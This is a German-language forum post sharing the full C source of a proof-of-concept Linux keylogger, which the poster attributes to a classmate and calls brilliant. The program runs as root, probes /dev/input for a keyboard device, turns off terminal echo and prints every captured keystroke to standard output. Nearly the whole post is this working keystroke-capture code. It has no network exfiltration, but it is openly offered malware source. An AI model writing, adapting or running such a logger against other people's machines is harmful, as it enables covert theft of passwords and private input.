| BlackLotus |
|
 |
 |
| Anmeldedatum: 04.01.2006 |
| Beiträge: 717 |
| Wohnort: www and 127.0.0.1/localhost |
|
|
|
|
 |
|
Ist nicht mein Programm sondern das eines Kollegens der in meine Klasse geht aber das Forum wird so still das ich euch diesen genialen Source eifnach zeigen muss.
| Code: | /** PoC Linux Keylogger
*
* Speichert saemtliche Eingaben von ausgewaelten Geraeten in
* /dev/input/
*
* Released under the terms of the GNU General Public Licence
*
* Copyleft 2005 Jens Pranaitis
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <dirent.h>
#include <linux/input.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/time.h>
#include <termios.h>
#include <signal.h>
#define PATH "/dev/input/"
#define PROBE_FAILED -1
#define PROBE_NO_RESPONSE 0
#define PROBE_MATCH 1
#define ECHO_OFF 0
#define ECHO_ON 1
/*
* Code um die Eingaben einigermasen leserlich zu machen
*/
char *keycode[256] =
{ "", "<esc>", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0",
"-", "=", "<backspace>",
"<tab>", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "[",
"]", "\n", "<control>", "a", "s", "d", "f", "g",
"h", "j", "k", "l", ";", "'", "", "<shift>",
"\\", "z", "x", "c", "v", "b", "n", "m", ",", ".",
"/", "<shift>", "", "<alt>", " ", "<capslock>", "<f1>",
"<f2>", "<f3>", "<f4>", "<f5>", "<f6>", "<f7>", "<f8>", "<f9>",
"<f10>", "<numlock>", "<scrolllock>", "", "", "", "", "", "", "",
"", "", "", "\\", "f11", "f12", "", "", "", "", "", "",
"", "", "<control>", "", "<sysrq>"
};
char buf[1024];
int fd = -1;
/*
* Terminal echo soll aus bleiben
*/
void
echoctl (int type)
{
static struct termios tc;
static struct termios ots;
if (type == ECHO_OFF)
{
// aktuelle Einstellungen speichern
tcgetattr (STDIN_FILENO, &tc);
ots = tc;
// echo aus
tc.c_lflag &= ~ECHO;
tc.c_lflag |= ECHONL;
tcsetattr (STDIN_FILENO, TCSAFLUSH, &tc);
}
else
{
// echo an
tcsetattr (STDIN_FILENO, TCSAFLUSH, &ots);
}
}
/*
* echo wieder an machen
*/
void
handler (int sig)
{
echoctl (ECHO_ON);
printf ("\nexiting...(%d)\n", sig);
exit (0);
}
void
perror_exit (char *error)
{
perror (error);
handler (9);
}
/*
* die rohen Daten verarbeiten
*/
void
read_keys (int rfd, char *keys[])
{
struct input_event ev[64];
int rd, value, size = sizeof (struct input_event);
while (1)
{
if ((rd = read (rfd, ev, size * 64)) < size)
perror_exit ("read()");
// Nur das druecken vom key lesen
// *NICHT* das los lassen
value = ev[0].value;
if (value != ' ' && ev[1].value == 1 && ev[1].type == 1)
{
if (keys[value] != NULL)
{
printf ("%s", (keys[value]));
fflush (stdout);
}
}
}
}
/*
* uberpruefen ob ein Geraet antwortet
*/
int
test_device (char buf[])
{
int fd, results;
char inbuf[128];
char testbuffer[10] = "proboscis!";
fd_set rfds;
struct timeval tv;
if ((fd = open (buf, O_RDONLY | O_NONBLOCK)) < 0)
return PROBE_FAILED;
else
{
// Zeichen zurueck zum keyboard senden
getchar ();
// Hat das Geraet auch was ausgegeben?
results = read (fd, inbuf, 128);
close(fd);
if(results > 0)
return PROBE_MATCH;
else
return PROBE_NO_RESPONSE;
}
}
/*
* Geraete in /dev/input nach nem Keyboard ueberpruefen
*/
char *
scan_for_devices ()
{
DIR *event_devices = opendir (PATH);
struct dirent *dir = NULL;
int found = PROBE_NO_RESPONSE;
if (event_devices == NULL)
{
printf ("Kann event interface Verzeichnis nicht oeffnen (%s)\n", PATH);
perror_exit ("opendir()");
}
printf ("Suche nach Geraeten in %s\n\n", PATH);
printf ("* ACHTUNG: <enter> Taste druecken um Input zu genrieren *\n");
getchar ();
while ((dir = readdir (event_devices)) != NULL && (found != PROBE_MATCH))
{
if ((strncmp (dir->d_name, ".", 1)) != 0)
{
snprintf (buf, 1024, "%s%s", PATH, dir->d_name);
printf ("\\versuche %s", dir->d_name);
found = test_device (buf);
}
}
printf ("\n");
if (found == PROBE_MATCH)
return buf;
else
return NULL;
}
int
main (int argc, char *argv[])
{
char name[256] = "Unknown";
char *device = NULL;
int i = 25;
printf ("PoC keylogger - Jens Pranaitis <hans.maulwurf (at) gmail (dot) com [email concealed]>\n");
if (argv[1] == NULL)
{
printf
("Gib bitte den Pfad zum event Geraet an\n");
printf
("Wenn du das Geraet nicht kennst versuch es mit dem Parameter 'scan'\n");
exit (0);
}
if ((getuid ()) != 0)
printf ("Du musst root sein du Pflaume\n");
if (argc > 1)
device = argv[1];
// terminal echo aus machen beim scannen
echoctl (ECHO_OFF);
if ((strncmp (device, "scan", 4)) == 0)
{
if ((device = scan_for_devices ()) == NULL)
printf ("Kann das event interface nicht finden, sicher das es aktiviert ist?\n");
}
if ((fd = open (device, O_RDONLY)) == -1)
{
printf ("%s ist kein richtiges Geraet probier es mit 'scan'\n",
device);
}
ioctl (fd, EVIOCGNAME (sizeof (name)), name);
printf ("Lese aus : %s (%s)\n", device, name);
while (i--)
signal (i, &handler);
read_keys (fd, keycode);
return 0;
}
|
|
|
